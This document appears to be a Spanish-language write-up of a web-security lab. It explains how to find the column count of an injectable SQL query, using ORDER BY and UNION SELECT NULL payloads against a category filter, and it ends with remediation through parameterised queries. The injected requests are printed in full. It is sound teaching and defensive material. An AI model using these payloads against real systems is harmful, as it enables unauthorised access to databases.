UNION-based SQLi: determinación del número de columnas (ORDER BY vs UNION SELECT NULL)
Determinación de la aridad de una query inyectable con dos técnicas: ORDER BY incremental (error 500) y UNION SELECT NULL hasta encontrar el número de columnas sin error.
1. Target Overview & Vulnerability Summary
Primer paso de cualquier ataque UNION-based: conocer cuántas columnas devuelve la query original. El filtro de categoría refleja los resultados de la consulta, de modo que la aridad puede derivarse tanto por el error de ORDER BY como por el fallo de tipado de UNION SELECT.
| Severidad | Endpoint vulnerable | Root cause |
|---|---|---|
| Medium | GET /filter?category=... |
Concatenación de category en la cláusula WHERE; la respuesta refleja el resultado de la query |
2. Technical Breakdown & Exploitation Flow
Método 1 — ORDER BY incremental
ORDER BY N ordena por la columna N de la query. Si N supera la aridad real, el motor lanza un error y la app responde HTTP 500:
GET /filter?category=' ORDER BY 3-- - HTTP/1.1
Host: 0a...web-security-academy.net
Sin error → hay al menos 3 columnas. Al subir a 4:
GET /filter?category=' ORDER BY 4-- - HTTP/1.1
Error 500 → la query original tiene 3 columnas. -- - comenta el cierre original del literal.
Método 2 — UNION SELECT NULL por fuerza bruta
UNION exige que el branch inyectado tenga el mismo número de columnas que la query original. Se itera añadiendo NULL hasta que no haya error:
GET /filter?category=' UNION SELECT NULL,NULL,NULL,NULL-- - HTTP/1.1
Error → excede la aridad.
GET /filter?category=' UNION SELECT NULL,NULL,NULL-- - HTTP/1.1
Sin error → 3 columnas, confirmando el método anterior. El uso de NULL evita errores de tipo mientras se descubre la aridad.
3. Root Cause Analysis
La query del filtro se interpola sin prepared statements:
SELECT column1, column2, column3 FROM products WHERE category = 'Gifts'
Ambas técnicas explotan invariantes del motor: ORDER BY falla al referenciar una columna inexistente (el parse valida el índice), y UNION valida en tiempo de análisis la compatibilidad de aridad (y luego de tipos). El 500 resultante confirma la aridad sin necesidad de reflejo. Este lab fija el pre-requisito de los UNION attacks posteriores: conocer el número de columnas para componer UNION SELECT válidos.
4. Secure Remediation
Parametrización de la query:
String sql = "SELECT column1, column2, column3 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);
Defensa en profundidad: no exponer stack traces en respuestas 500 (el error de parse revela menos aquí, pero un 500 genérico sigue siendo útil para el atacante) y ejecutar la query con rol de menor privilegio.